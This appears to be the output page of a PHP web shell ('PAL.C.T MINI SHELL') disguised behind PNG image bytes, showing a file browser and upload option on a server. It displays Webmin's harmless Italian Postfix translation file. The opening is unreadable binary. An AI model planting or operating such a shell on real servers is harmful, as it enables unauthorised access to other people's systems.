php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/postfix/lang/
upload
files >> //usr/libexec/webmin/postfix/lang/it.auto

connect_emysql=Impossibile caricare il driver del database $1
connect_elogin=Accesso al database non riuscito $1:$2.
index_title=Postfix Mail Server
index_epath=Il comando di controllo Postfix $1 non è installato sul tuo sistema. Forse la tua <a href='$2'>configurazione del modulo</a> non è corretta o Postfix non è installato.
index_postfix=Postfix

internal_error=Errore interno
index_econfig=Il comando di configurazione Postfix $1 non esiste. Forse la tua <a href='$2'>configurazione del modulo</a> non è corretta.
index_esuper=Il comando supervisore Postfix $1 non esiste. Forse la tua <a href='$2'>configurazione del modulo</a> non è corretta.
index_stop=Ferma Postfix
index_start=Avvia Postfix
index_reload=Ricarica la configurazione
index_stopmsg=Fare clic su questo pulsante per interrompere il server di posta Postfix in esecuzione. Ciò impedirà la consegna della posta agli utenti locali da altri sistemi e impedirà ai client che utilizzano questo sistema come server di posta di inviare posta.
index_startmsg=Fare clic su questo pulsante per avviare il server di posta Postfix. Fino a quando ciò non verrà fatto, la posta non verrà recapitata agli utenti locali da altri sistemi e i client non potranno utilizzare questo sistema come server di posta.
index_reloadmsg=Fare clic su questo pulsante per fare in modo che Postfix rileggi tutti i suoi file di configurazione. Ciò può essere utile se i file di configurazione di Postfix sono stati modificati manualmente.
index_version=Versione Postfix $1
opts_err=Impossibile salvare le opzioni

check_error=Errore durante il controllo della configurazione corrente di Postfix. Correggi manualmente la configurazione di Postfix.
check_manual=Modifica manualmente il file di configurazione di Postfix.

address_rewriting_title=Riscrittura e mascheramento degli indirizzi
address_rewriting_ecannot=Non è consentito modificare la riscrittura e il mascheramento degli indirizzi
aliases_title=Alias di posta
aliases_ecannot=Non puoi modificare gli alias
aliases_no_alias_file=Nessun file alias
aliases_failed_delete=Impossibile eliminare l'alias: $1
aliases_cant_write=Impossibile scrivere nel file alias
aliases_cant_read=Impossibile leggere nel file alias
aliasopts_title=Opzioni alias
aliases_internal_error=Alias: errore interno
edit_alias_title=Modifica alias
alias_save=Salva alias
alias_save_err=Impossibile salvare l'alias
alias_delete_create=Vuoi eliminare un alias che stai creando !?
delete_alias=Elimina alias
aliases_click=Fai clic su qualsiasi alias per modificarne le proprietà:
aliases_addr=Alias da ..
aliases_to=Alias a ..
aliases_type1=Indirizzo $1
aliases_type2=Indirizzi nel file $1
aliases_type3=File $1
aliases_type4=Programma $1
aliases_type5=File di autoreply $1
aliases_type6=Applica il file filtro $1
aliases_none=Nessuna
aliases_delete=Elimina alias selezionati

postfinger_title=Verifica della configurazione
postfinger_show=Mostrare
postfinger_ecannot=Non puoi controllare la configurazione di Postfix

mailclean_title=Pulisci MailQueue
mailclean_ecannot=Nessun privilegio per pulire MailQueues
mailclean_active=Active-coda
mailclean_incoming=Incoming-Queue
mailclean_deferred=Differite Coda
mailclean_defer=Rinvia-Queue
mailclean_all=Tutte le code
mailclean_search=Stringa di ricerca

aform_type0=Nessuna
aform_type1=Indirizzo email
aform_type2=Indirizzi nel file
aform_type3=Scrivi nel file
aform_type4=Feed al programma
aform_type5=Risposta automatica dal file
aform_type6=Applica file di filtro
aform_edit=Modifica alias
aform_create=Crea alias
aform_name=Indirizzo
aform_enabled=Abilitato?
aform_val=Alias a
aform_afile=Modificare ..
aform_return=alias
aform_cmt=Descrizione

asave_err=Impossibile salvare l'alias
asave_eaddr='$1' non è un indirizzo valido
asave_ealready=Esiste già un alias per "$1"
asave_etype1='$1' non è un indirizzo email valido
asave_etype2=Il file degli indirizzi '$1' non è valido o non esiste
asave_etype3='$1' non è un nome file valido
asave_etype4='$1' non è un programma valido o non esiste
asave_etype5=Il file di risposta automatica "$1" non è valido
asave_etype4none=Nessun programma fornito
asave_etype6=Il file di filtro '$1' non è valido

afile_title=Modifica file indirizzo
afile_desc=Utilizzare l'area di testo seguente per modificare gli indirizzi nel file $1.
afile_efile=Non puoi modificare $1.
afile_undo=Cancella i cambiamenti
afile_ewrite=Impossibile scrivere nel file degli indirizzi : $1

ffile_title=Modifica file filtro
ffile_desc=Utilizzare il modulo seguente per impostare le regole di filtro nel file $1.
ffile_efile=Non puoi modificare $1.
ffile_line=Se il campo $1 $2 $3, inoltra a $4
ffile_from=a partire dal
ffile_to=per
ffile_subject=soggetto
ffile_cc=CC
ffile_body=corpo
ffile_what0=non corrisponde
ffile_what1=fiammiferi
ffile_other=Altrimenti inoltra a $1
ffile_err=Impossibile salvare il file del filtro
ffile_ematch=Partita mancante
ffile_eaction=Indirizzo di inoltro mancante

rfile_title=Modifica file Autoreply
rfile_desc=Utilizzare l'area di testo seguente per modificare il messaggio di risposta automatica in $1. Il messaggio può contenere le macro $SUBJECT, $FROM, $TO, $DATE e $BODY che verranno espanse quando viene attivata la risposta automatica.
rfile_desc2=Puoi anche impostare intestazioni di posta che aggiungono o sostituiscono i valori predefiniti utilizzati nell'autoreply inserendo righe come: <br><tt> Da: foo@bar.com </tt><br> <tt>Oggetto: In vacanza</tt> <br> nella parte superiore del messaggio, separato dal corpo da un'unica riga vuota.
rfile_efile=Non puoi modificare $1.
rfile_undo=Cancella i cambiamenti
rfile_replies=Tieni traccia delle risposte per evitare loop di posta?
rfile_none=No
rfile_file=Sì, utilizzando il file di registro
rfile_period=Intervallo minimo tra le risposte
rfile_default=Predefinito (1 ora)
rfile_secs=secondi
rfile_ereplies=File di registro di tracciamento delle risposte mancante
rfile_eperiod=Numero di secondi mancante o non valido tra le risposte
rfile_no_autoreply=Non inviare autoreplies a
rfile_from=Da: indirizzo per la risposta
rfile_auto=Automatico (basato sull'indirizzo del destinatario)
rfile_efrom=Mancante da: indirizzo
rfile_fromdesc=Un indirizzo Da: deve essere sempre specificato ove possibile, poiché il metodo automatico potrebbe non essere affidabile.

general_title=Opzioni generali
general_title_sensible=Opzioni generali più utili
general_title_others=Altre opzioni generali
general_ecannot=Non puoi modificare le Opzioni generali
what_is_it=Che cos'è?

opts_default=Predefinito
opts_none=Nessuna
opts_nomap=Nessuna mappa impostata
opts_setmap=Specifiche della mappa
opts_relayhost=Invia posta in uscita tramite host
opts_direct=Consegna direttamente
opts_myorigin=Quale dominio utilizzare nella posta in uscita
opts_myorigin_as_myhostname=Usa il nome host
opts_myorigin_as_mydomain=Usa nome dominio
opts_mydestination=Per quali domini ricevere la posta
opts_mydestination_default=Macchina locale
opts_mydestination_domainwide=Intero dominio
opts_notify_classes=Quali problemi segnalare al postmaster
opts_notify_classes_sel=Selezionato di seguito
opts_queue_directory=Directory della coda di posta
opts_mail_owner=Proprietario della posta
opts_default_privs=Diritti predefiniti dell'agente di consegna
opts_inet_interfaces=Interfacce di rete per la ricezione di posta
opts_all_interfaces=Tutti

opts_local_recipient_maps=Rifiuta utenti locali sconosciuti
opts_no=No
opts_save=Salva e applica
opts_edir=Puoi specificare i file delle mappe solo in $1

opts_allow_percent_hack=Riscrivi "utente%dominio" su "utente@dominio"
opts_append_at_myorigin=Riscrivi "utente" in "utente @ $ miodominio"
opts_append_dot_mydomain=Riscrivi "user@host" su "user@host.$mydomain"
opts_empty_address_recipient=Invia mail con destinatario vuoto a. ..
opt_empty_recip_default=Predefinito
opts_swap_bangpath=Riscrivi "site! User" in "user @ site"
opts_masquerade_domains=Indirizzo mascherato
opts_masquerade_exceptions=Eccezioni in maschera
index_return=Configurazione Postfix

opts_alias_maps=Database alias utilizzati dall'agente di consegna locale
opts_alias_database=Database alias creati dal comando "newaliases"
aliases_warning=Avvertenza: <ul><li> quando il primo campo non è vuoto, il comando di generazione degli alias Postfix predefinito viene utilizzato per costruire i database corrispondenti; <li>altrimenti viene utilizzato il comando di compatibilità "newalias" di Sendmail, che utilizzerà i database del secondo campo.</ul>

aliases_name=Nome
aliases_value=Alias a. ..

new_alias=Crea un nuovo alias
new_aliasmsg=Fare clic su questo pulsante per creare un nuovo alias

local_delivery_ecannot=Non è consentito modificare le opzioni di consegna locale
local_delivery_title=Consegna locale
opts_local_transport=Nome del trasporto per consegne locali
opts_local_transport_local=Locale
opts_local_command_shell=Shell da utilizzare per la consegna a comandi esterni
opts_local_command_shell_direct=Nessuna (esecuzione diretta di comandi)
opts_forward_path=Cerca l'elenco per l'inoltro
opts_allow_mail_to_commands=Consegna della posta valida a comandi esterni
opts_allow_mail_to_files=Consegna della posta valida a file esterni
opts_home_mailbox=Percorso relativo alla casa del file della cassetta postale dell'utente
opts_home_mailbox_default=Nessuno (usa lo standard <tt>/var/qualcosa</tt>)
opts_luser_relay=Indirizzo di destinazione per destinatari sconosciuti
opts_luser_relay_none=Nessuno (rimbalza la posta)
opts_mail_spool_directory=Directory di spool
opts_mailbox_command=Comando esterno da utilizzare invece della consegna della cassetta postale
opts_mailbox_command_none=Nessuna
opts_mailbox_transport=Trasporto effettivo opzionale da utilizzare
opts_mailbox_transport_none=Nessuna
opts_fallback_transport=Trasporto opzionale per destinatari sconosciuti
opts_fallback_transport_none=Nessuna
opts_local_destination_concurrency_limit=Numero massimo di consegne parallele allo stesso destinatario locale
opts_local_destination_recipient_limit=Numero massimo di destinatari per consegna messaggio locale
opts_local_destination_recipient_limit_default=Predefinito
opts_prepend_delivered_header=Prepend a <tt>Delivered-To:</tt> quando. ..
opts_prepend_delivered_header_default=Predefinito

resource_title=Controllo generale delle risorse
resource_ecannot=Non è consentito modificare i parametri di controllo delle risorse
opts_bounce_size_limit=Dimensione massima del messaggio rimbalzato
opts_command_time_limit=Tempo massimo per la consegna a comandi esterni
opts_default_process_limit=Numero massimo di processi figlio Postfix
opts_deliver_lock_attempts=Max tenta di acquisire il blocco dei file
opts_deliver_lock_delay=Tempo in secondi tra i tentativi di blocco dei file
opts_duplicate_filter_limit=Numero massimo di indirizzi ricordati dal filtro duplicato
opts_fork_attempts=Max tenta di rovesciare un processo
opts_fork_delay=Tempo in secondi tra i tentativi di fork
opts_header_size_limit=Memoria massima utilizzata per l'elaborazione delle intestazioni
opts_line_length_limit=Memoria massima utilizzata per la gestione delle linee di input
opts_mailbox_size_limit=Dimensione massima di una cassetta postale
opts_message_size_limit=Dimensione massima di un messaggio
opts_qmgr_message_active_limit=Numero massimo di messaggi nella coda attiva
opts_qmgr_message_recipient_limit=Numero massimo di destinatari in memoria
opts_queue_minfree=Spazio libero minimo nel file system della coda
opts_stale_lock_time=Tempo massimo dopo il quale viene rilasciato il blocco non aggiornato
opts_transport_retry_time=Tempo in secondi tra i tentativi di contattare un MDT rotto

opts_always_bcc=Indirizzo che riceve ccn di ciascun messaggio
opts_always_bcc_none=Nessuna
opts_daemon_timeout=Timeout sulle richieste di gestione
opts_default_database_type=Tipo di database predefinito
opts_default_transport=Trasporto di consegna messaggi predefinito
opts_double_bounce_sender=Indirizzo del mittente per la posta di rimbalzo
opts_hash_queue_depth=Numero di livelli di sottodirectory al di sotto della directory della coda
opts_hash_queue_names=Nome delle directory della coda divise tra i sottodir
opts_hopcount_limit=Numero massimo di <tt>ricevute:</tt> intestazioni
opts_ipc_idle=Tempo di inattività dopo la disconnessione del client IPC interno
opts_ipc_timeout=Timeout per I / O su canali di comunicazione interni
opts_mail_name=Nome del sistema di posta
opts_mail_version=Versione del sistema di posta ufficiale
opts_max_idle=Tempo di attesa per la prossima richiesta di assistenza
opts_max_use=Richieste di servizio max gestite prima di uscire
opts_mydomain=Nome dominio Internet locale
opts_mydomain_default=Predefinito (fornito dal sistema)
opts_myhostname=Nome host Internet di questo sistema di posta
opts_myhostname_default=Predefinito (fornito dal sistema)
opts_mynetworks=Reti locali
opts_mynetworks_default=Predefinito (tutte le reti collegate)
opts_mynetworks_style=Reti locali automatiche
opts_mynetworks_subnet=Stessa sottorete IP
opts_mynetworks_class=Stessa classe di rete
opts_mynetworks_host=Solo macchina locale
opts_bounce_notice_recipient=Invia avviso postmaster su rimbalzo a. ..
opts_2bounce_notice_recipient=Invia avviso postmaster su 2bounce a. ..
opts_delay_notice_recipient=Invia avviso postmaster in ritardo a. ..
opts_error_notice_recipient=Invia avviso postmaster in caso di errore a. ..
opts_process_id_directory=Blocca dir file, rispetto alla dir della coda
opts_program_directory=Postfix programmi di supporto e demoni dir
opts_recipient_delimiter=Nomi utente / estensioni indirizzo del separatore
opts_relocated_maps_default=Predefinito (disabilitato)
opts_sun_mailtool_compatibility=Disabilita il blocco dei file del kernel nelle cassette postali
opts_trigger_timeout=Tempo massimo per inviare un trigger a un demone
opts_delay_warning_time=Tempo in ore prima dell'invio di un avviso per mancata consegna
opts_delay_warning_time_default2=Postfix predefinito
opts_content_filter_default=Nessuna

smtpd_title=Opzioni del server SMTP
smtpd_ecannot=Non è consentito modificare le opzioni del server SMTP
opts_disable_vrfy_command=Disabilita il comando SMTP VRFY
opts_smtpd_banner=Banner di saluto SMTP
opts_smtpd_etrn_restrictions=Limita comando ETRN su. ..
opts_smtpd_recipient_limit=Numero massimo di destinatari accettati per la consegna
opts_smtpd_timeout=Timeout in secondi per le transazioni SMTP
opts_smtpd_error_sleep_time=Timeout prima di inviare la risposta di errore 4xx / 5xx
opts_smtpd_soft_error_limit=Il conteggio degli errori ignora temporaneamente un client
opts_smtpd_hard_error_limit=Conteggio errori per chiusura connessione
opts_smtpd_client_restrictions=Restrizioni su nomi / indirizzi host client
opts_smtpd_helo_required=HELO è richiesto
opts_smtpd_helo_restrictions=Restrizioni sugli invii nei comandi HELO
opts_smtpd_sender_restrictions=Restrizioni agli indirizzi del mittente
opts_smtpd_recipient_restrictions=Restrizioni agli indirizzi dei destinatari
opts_allow_untrusted_routing=Consenti routing non attendibile
opts_maps_rbl_domains=Domini DNS per le ricerche nella lista nera
opts_relay_domains=Limita l'inoltro della posta
opts_relay_recipient_maps=Mappa per indirizzi consentiti per l'inoltro
opts_access_map_reject_code=Risposta del server SMTP sulla violazione della mappa di accesso
opts_invalid_hostname_reject_code=Risposta del server SMTP su rifiuto nome host non valido
opts_maps_rbl_reject_code=Risposta del server SMTP sulla violazione dei domini RBL
opts_reject_code=Risposta del server SMTP sul rifiuto del client
opts_relay_domains_reject_code=Risposta del server SMTP su inoltro proibito
opts_unknown_address_reject_code=Risposta del server SMTP su rifiuto dominio sconosciuto
opts_unknown_client_reject_code=Risposta del server SMTP sul rifiuto del client sconosciuto
opts_unknown_hostname_reject_code=Risposta del server SMTP su rifiuto nome host sconosciuto
smtpd_nomap=Non è stata ancora inserita una mappa per gli indirizzi consentiti per l'inoltro.
smtpd_nomap2=Non è stata ancora inserita una mappa per le restrizioni sugli indirizzi del mittente.
smtpd_map=Indirizzi consentiti per l'inoltro
smtpd_map2=Restrizioni agli indirizzi del mittente

smtp_title=Opzioni client SMTP
smtp_ecannot=Non è consentito modificare le opzioni del client SMTP
opts_best_mx_transport=Azione quando elencato come miglior host MX
opts_best_mx_transport_default=Predefinito (messaggio di rimbalzo)
opts_fallback_relay=Host / domini ai quali consegnare la posta a destinazione non valida
opts_ignore_mx_lookup_error=Ignora errore di ricerca MX
opts_smtp_skip_4xx_greeting=Salta il saluto 4xx
opts_smtp_skip_quit_response=Salta attendere il comando QUIT
opts_smtp_destination_concurrency_limit=Numero massimo di consegne parallele alla stessa destinazione
opts_smtp_destination_recipient_limit=Numero massimo di destinatari per consegna
opts_smtp_connect_timeout=Timeout per il completamento delle connessioni TCP
opts_smtp_helo_timeout=Timeout in attesa dell'insegna di saluto
opts_smtp_mail_timeout=Timeout in attesa di risposta a MAIL FROM
opts_smtp_rcpt_timeout=Timeout in attesa di risposta a RCPT TO
opts_smtp_data_init_timeout=Timeout in attesa di risposta ai DATI
opts_smtp_data_xfer_timeout=Timeout in attesa di risposta per la trasmissione del contenuto del messaggio
opts_smtp_data_done_timeout=Timeout in attesa di risposta alla fine "."
opts_smtp_quit_timeout=Timeout in attesa di risposta a QUIT
opts_smtp_use_tls=Utilizzare TLS per connessioni SMTP
opts_smtp_sasl_security_options=Opzioni di sicurezza SASL
opts_smtp_tls_security_level=Livello di sicurezza del client TLS SMTP

rate_title=Tariffe di consegna
rate_ecannot=Non è consentito modificare le opzioni relative alle tariffe di consegna
opts_default_destination_concurrency_limit=Numero massimo di consegne parallele alla stessa destinazione
opts_default_destination_recipient_limit=Numero massimo di destinatari per consegna messaggio
opts_initial_destination_concurrency=Livello di concorrenza iniziale per la consegna alla stessa destinazione
opts_maximal_backoff_time=Tempo massimo (secondi) tra i tentativi di recapitare un messaggio differito
opts_maximal_queue_lifetime=Tempo massimo (giorni) in coda prima che il messaggio non venga recapitato
opts_minimal_backoff_time=Tempo minimo (secondi) tra i tentativi di recapitare un messaggio differito
opts_queue_run_delay=Tempo (secondi) tra la scansione della coda differita
opts_defer_transports=Trasporti che non devono essere consegnati

debug_title=Funzionalità di debug
debug_ecannot=Non è consentito modificare le funzionalità di debug
opts_debug_peer_list=Elenco di modelli di dominio / rete per i quali è abilitato il registro dettagliato
opts_debug_peer_level=Livello di registrazione dettagliato quando corrisponde all'elenco precedente
debug_version=Modulo Postfix per Webmin - Versione $1
opts_edebug=Livello di registrazione dettagliato mancante o non valido - deve essere un numero maggiore di zero

ldap_title=Ricerche LDAP
ldap_ecannot=Non è consentito modificare le opzioni di ricerca LDAP
ldap_non_existent=Sembra che LDAP sia inesistente nel tuo sistema Postfix
opts_ldap_lookup_timeout=Timeout per le ricerche nel database LDAP
opts_ldap_search_base=Database LDAP da cercare
opts_ldap_server_host=Nome host del server LDAP

canonical_title=Mappatura canonica
canonical_ecannot=Non è consentito modificare la configurazione della mappatura canonica
opts_canonical_maps=Tabelle di ricerca della mappatura degli indirizzi
opts_recipient_canonical_maps=Tabelle per gli indirizzi dei destinatari
opts_sender_canonical_maps=Tabelle per gli indirizzi del mittente
edit_canonical_maps=Modifica mappe canoniche
edit_recipient_canonical_maps=Modifica mappe canoniche del destinatario
edit_sender_canonical_maps=Modifica mappe canoniche mittente
edit_canonical_maps_general=Fai clic su uno di questi pulsanti per modificare le mappe canoniche.
canonical_edit_title=Modifica mappa canonica
canonical_return_sender=mappe canoniche del mittente
canonical_return_recipient=mappe canoniche del destinatario
canonical_return=mappe canoniche

mapping_name=Nome
mapping_value=Mappe per. ..
mapping_delete=Elimina selezionato
mapping_cmt=Descrizione
mapping_ecannot=Puoi modificare le mappe solo in $1
new_mapping=Aggiungi una nuova mappatura.
new_mappingmsg=Fare clic su questo pulsante per creare una nuova mappatura
new_manual=Modifica la mappa manualmente
new_manualmsg=Fare clic su questo pulsante per modificare manualmente i file da cui è stata creata questa mappa.
map_save=Salva mappatura
delete_map=Elimina mappatura
edit_map_title=Modifica mappa
map_save_err=Errore durante il salvataggio di una mappatura
mapps_no_map_file=Nessun file di mappa definito
map_delete_failed=Impossibile eliminare la mappa: $1
map_delete_create=Impossibile eliminare una mappa che stai creando
maps_internal_error=Mappa: errore interno
maps_cant_write=Non riesco a scrivere
help_map_format=Quale formato dovrei usare?
map_noname=Nome del mapping mancante o non valido
map_cannot=Questa mappa non può essere modificata : $1
map_unknown=Webmin non supporta il tipo di mappa $1
mapping_none=Nessun mapping di questo tipo è stato ancora definito.
mapping_toomany=Ci sono $1 voci della mappa, che è al di sopra del limite di visualizzazione di $2.
mapping_find=Mostra corrispondenza mappature:
mapping_search=Ricerca
mapping_match=Voci del file della mappa corrispondenti a <tt>$1</tt> ..

virtual_title=Domini virtuali
virtual_ecannot=Non è consentito modificare la configurazione del mapping dei domini virtuali
opts_virtual_maps=Tabelle di ricerca della mappatura del dominio
opts_virtual_alias_maps=Tabelle di ricerca della mappatura del dominio
opts_virtual_alias_domains=Domini per i quali eseguire il mapping virtuale
virtual_same=Dalle tabelle di mappatura del dominio
virtual_return=domini virtuali

transport_title=Mappatura dei trasporti
transport_ecannot=Non è consentito modificare la configurazione della mappatura del trasporto
opts_transport_maps=Tabelle di ricerca della mappatura dei trasporti
transport_return=mappe di trasporto

sni_title=Mappatura dei certificati
sni_ecannot=Non è consentito modificare la configurazione della mappatura del certificato
opts_sni_maps=Tabelle di ricerca della mappatura dei certificati
sni_return=mappe dei certificati
sni_dom=Nome host
sni_certs=File di certificato

relocated_title=Mappatura trasferita
relocated_ecannot=Non è consentito modificare la configurazione del mapping trasferito
relocated_return=mappe trasferite
opts_relocated_maps=Tabelle di ricerca del mapping riposizionate
opts_content_filter=Filtro contenuto e-mail

map_click=Fai clic su qualsiasi mapping per modificarne le proprietà:
no_map=(Nessuna mappa è attualmente definita. Definire prima una mappa, quindi è possibile modificarla)
no_map2=Nessuna mappa è attualmente definita. Definisci prima una mappa, quindi puoi modificarla.

stop_efailed=Impossibile arrestare Postfix
stop_ecannot=Non è consentito interrompere Postfix

start_efailed=Impossibile avviare Postfix
start_ecannot=Non è consentito avviare Postfix

reload_efailed=Impossibile ricaricare Postfix
reload_ecannot=Non è consentito ricaricare Postfix

query_get_efailed=Impossibile eseguire la query del comando di configurazione Postfix per ottenere il valore corrente del parametro $1: <tt>$2</tt>
query_set_efailed=Impossibile eseguire la query del comando di configurazione Postfix per impostare il valore corrente del parametro $1 su $2: <tt>$3</tt>
regenerate_ecannot=Non è consentito rigenerare gli alias
regenerate_alias_efailed=Impossibile rigenerare gli alias: <tt>$1</tt>
regenerate_table_efailed=Impossibile rigenerare la tabella $1: <tt>$2</tt>

acl_resource=Puoi modificare le risorse?
acl_aliases=Puoi modificare gli alias?
acl_aliases_options=È possibile modificare le opzioni degli alias?
acl_general=Puoi modificare le opzioni generali?
acl_address_rewriting=È possibile modificare la riscrittura degli indirizzi?
acl_canonical=Puoi modificare canonico?
acl_virtual=Puoi modificare virtuale?
acl_transport=È possibile modificare il trasporto?
acl_sni=Può modificare i certificati?
acl_relocated=È possibile modificare il trasferimento?
acl_header=È possibile modificare i controlli delle intestazioni?
acl_local_delivery=È possibile modificare la consegna locale?
acl_smtpd=Puoi modificare smtpd?
acl_sasl=È possibile modificare l'autenticazione SMTP?
acl_client=È possibile modificare le restrizioni del client SMTP?
acl_smtp=Puoi modificare smtp?
acl_rate=Puoi modificare il tasso?
acl_debug=È possibile modificare il debug?
acl_ldap=Puoi modificare ldap?
acl_master=È possibile modificare i processi del server?
acl_startstop=È possibile avviare e interrompere Postfix?
acl_mailq=Puoi gestire la coda di posta?
acl_boxes=Sai leggere l'email degli utenti?
acl_postfinger=È possibile verificare la configurazione postfix?
acl_manual=È possibile modificare il file di configurazione?
acl_dir=Directory consentita per i file delle mappe
acl_bcc=È possibile modificare il mapping BCC?

boxes_title=Cassette postali dell'utente
boxes_user=Utente
boxes_size=Dimensione della cassetta postale
boxes_none=Nessuna posta
boxes_return=caselle di posta
boxes_sent=Posta inviata
boxes_ecannot=Non ti è permesso leggere l'email
boxes_toomany=Esistono troppi utenti sul sistema per elencare tutte le loro cassette postali.
boxes_go=Visualizza la posta per l'utente:

mail_title=Email dell'utente
mail_from=A partire dal
mail_date=Data
mail_subject=Soggetto
mail_to=Per
mail_cc=cc
mail_bcc=bcc
mail_pri=Priorità
mail_highest=Più alta
mail_high=alto
mail_normal=Normale
mail_low=Basso
mail_lowest=minore
mail_for=In $1
mail_for2=Per l'utente $1
mail_sent=Nella lista di posta inviata
mail_size=Taglia
mail_delete=Elimina
mail_compose=Comporre
mail_return=cassetta postale dell'utente
mail_pos=Messaggi da $1 a $2 di $3
mail_none=Questa cassetta postale non ha messaggi
mail_ecannot=Non ti è consentito leggere l'email di questo utente
mail_all=Seleziona tutto
mail_invert=Inverti selezione
mail_search=Trova messaggi dove
mail_body=Corpo
mail_match=fiammiferi
mail_ok=Ricerca
mail_nonefrom=Nessuna
mail_mark=Segna come:
mail_mark0=Non letto
mail_mark1=Leggere
mail_mark2=Speciale
mail_forward=Inoltrare
mail_rfc=Dalla linea
mail_move=Sposta in:
mail_eexists=Il messaggio non esiste più!

view_title=Leggi l'email
view_desc=Messaggio $1 in $2
view_desc2=Messaggio $1 per l'utente $2
view_desc3=Messaggio $1
view_sent=Messaggio $1 nell'elenco di posta inviata
view_qdesc=Messaggio in coda $1
view_headers=Intestazioni di posta
view_allheaders=Visualizza tutte le intestazioni
view_noheaders=Visualizza le intestazioni di base
view_attach=allegati
view_reply=rispondere
view_reply2=Rispondi a tutti
view_enew=Modifica come nuovo
view_forward=Inoltrare
view_delete=Elimina
view_flush=Sciacquone
view_strip=Rimuovi allegati
view_ecannot=Non ti è consentito leggere l'email di questo utente
view_mark=Segna il messaggio come:
view_mark0=Non letto
view_mark1=Leggere
view_mark2=Speciale
view_return=email originale
view_sub=Email allegata
view_body=Messaggio di testo
view_afile=Nome dell'allegato
view_atype=Tipo di allegato
view_aname=Allegato
view_asize=Dimensione del file

compose_title=Componi email
reply_title=Rispondi a e-mail
forward_title=Inoltra email
enew_title=Modifica email
reply_headers=Intestazioni di posta
reply_attach=Allegati inoltrati
reply_mailforward=Messaggi inoltrati
reply_attach2=Allegati lato client e server
reply_send=Inviare una mail
reply_ecannot=Non sei autorizzato a inviare posta come questo utente

send_err=Impossibile inviare la posta
send_eto=Indirizzo mancante
send_efrom=Indirizzo mancante
send_title=Posta inviata
send_ok=Posta inviata correttamente a $1
send_ecannot=Non sei autorizzato a inviare posta come questo utente
send_esmtp=Comando SMTP $1 non riuscito : $2
send_efile=Il file allegato $1 non esiste
send_eattach=Gli allegati non possono totalizzare dimensioni superiori a $1 kB.
send_eperms=L'utente $1 non può leggere $2
send_eperms2=Non puoi inviare il file $1
send_epath=L'eseguibile di Sendmail $1 non esiste.
send_ewrapper=Il programma di interfaccia di sendmail Postfix non esiste

search_title=risultati di ricerca
search_ecannot=Non è consentito eseguire ricerche nell'email di questo utente
search_ematch=È necessario inserire il testo da abbinare.
search_efield=Devi selezionare un tipo di ricerca.
search_none=Nessun messaggio trovato.
search_results2=$1 messaggi di posta corrispondenti a $2 ..
search_results3=$1 messaggi di posta non corrispondenti $2 ..

match_from=Da: partite
match_subject=Oggetto: partite
match_to=A: partite
match_cc=Cc: partite
match_date=Data: partite
match_body=Corrispondenze del corpo
match_size=La dimensione è maggiore di
match_headers=Le intestazioni corrispondono
match_=-----------------
match_!from=Da: non corrisponde
match_!subject=Oggetto: non corrisponde
match_!to=A: non corrisponde
match_!cc=Cc: non corrisponde
match_!date=Data: non corrisponde
match_!body=Il corpo non corrisponde
match_!size=La dimensione è inferiore a
match_!headers=Le intestazioni non corrispondono

mailq_title=Coda di posta
mailq_count=$1 messaggi
mailq_none=Nessun messaggio di posta è attualmente in coda per la consegna
mailq_id=ID posta
mailq_date=Inviato
mailq_from=A partire dal
mailq_to=Per
mailq_cc=cc
mailq_subject=Soggetto
mailq_return=coda di posta
mailq_delete=Elimina i messaggi selezionati
mailq_size=Taglia
mailq_ecannot=Non puoi vedere la coda di posta
mailq_egone=Il messaggio non è più in coda
mailq_status=Stato
mailq_flush=Flush Mail Queue
mailq_flushdesc=Fare clic su questo pulsante per forzare la consegna immediata di tutti i messaggi nella coda e visualizzare i risultati.
mailq_refresh=Aggiorna coda di posta
mailq_refreshdesc=Ricarica questa pagina per mostrare lo stato corrente della coda di posta.
mailq_deleteall=Cancella coda di posta
mailq_deletealldesc=Fare clic su questo pulsante per eliminare tutti i messaggi nella coda di posta.
mailq_search=Trova i messaggi in coda dove
mailq_move=Requeue Selected
mailq_incoming=in arrivo
mailq_active=Attivo
mailq_deferred=differite
mailq_hold=Mantieni selezionato
mailq_unhold=Non trattenuto selezionato

flushq_title=Coda di scarico
flushq_desc=Forzare il tentativo di consegna della posta con il comando $1 ..

qview_title=Messaggio in coda
qview_desc=Dal file $1
qview_headers=Intestazioni di posta
qview_attach=allegati

after_err=Errore di configurazione Postfix : $1

searchq_title=Risultati della ricerca in coda
searchq_none=Nessun messaggio in coda trovato.

header_title=Controlli di intestazione
header_ecannot=Non è consentito modificare i controlli delle intestazioni
header_eregexp=La mappa dei controlli di intestazione deve essere nel formato <tt>regexp:</tt> <i>nomefile</i>
opts_header_checks=Tabelle di controllo dell'intestazione MIME
header_name=Espressione regolare
header_value=Azione per le partite
header_discard=Elimina (con messaggio di registro..)
header_dunno=Fare niente
header_filter=Applica il filtro ..
header_hold=Metti in coda di attesa (con messaggio di registro..)
header_ignore=Ignorare
header_prepend=Aggiungi testo ..
header_redirect=Reindirizza a indirizzo ..
header_replace=Sostituisci con testo ..
header_reject=Rifiuta (con messaggio di errore..)
header_warn=Avviso registro (con messaggio..)
header_ename=Espressione regolare non valida - deve essere come / qualcosa /
header_return=controlli di intestazione

body_title=Controlli del corpo
body_ecannot=Non è consentito modificare i controlli del corpo
body_eregexp=La mappa dei controlli del corpo deve essere nel formato <tt>regexp:</tt> <i>nomefile</i>
opts_body_checks=Tabelle di controllo del corpo del messaggio
body_return=controlli del corpo

dependent_title=Mappatura del trasporto dipendente dal mittente
dependent_ecannot=Non è consentito modificare i mapping di trasporto dipendenti dal mittente
dependent_eregexp=La mappa dei trasporti dipendente dal mittente deve essere nel formato <tt>regexp:</tt> <i>nome file</i>
dependent_return=mappature di trasporto dipendenti dal mittente

manual_title=Modifica file mappa
manual_file=Seleziona un file della mappa da modificare:
manual_change=Modificare
manual_editing=Utilizzare la casella di testo seguente per modificare manualmente i mapping in $1. Fare attenzione, poiché non verrà eseguita alcuna sintassi o controllo di validità.
manual_err=Impossibile salvare il file della mappa
manual_efile=Nome file mappa non valido!
manual_ecannot=Non è consentito modificare manualmente i file della mappa

delq_titles=Eliminazione di messaggi
delq_rusure=Sei sicuro di voler eliminare i $1 messaggi in coda selezionati?
delq_confirm=Elimina messaggi

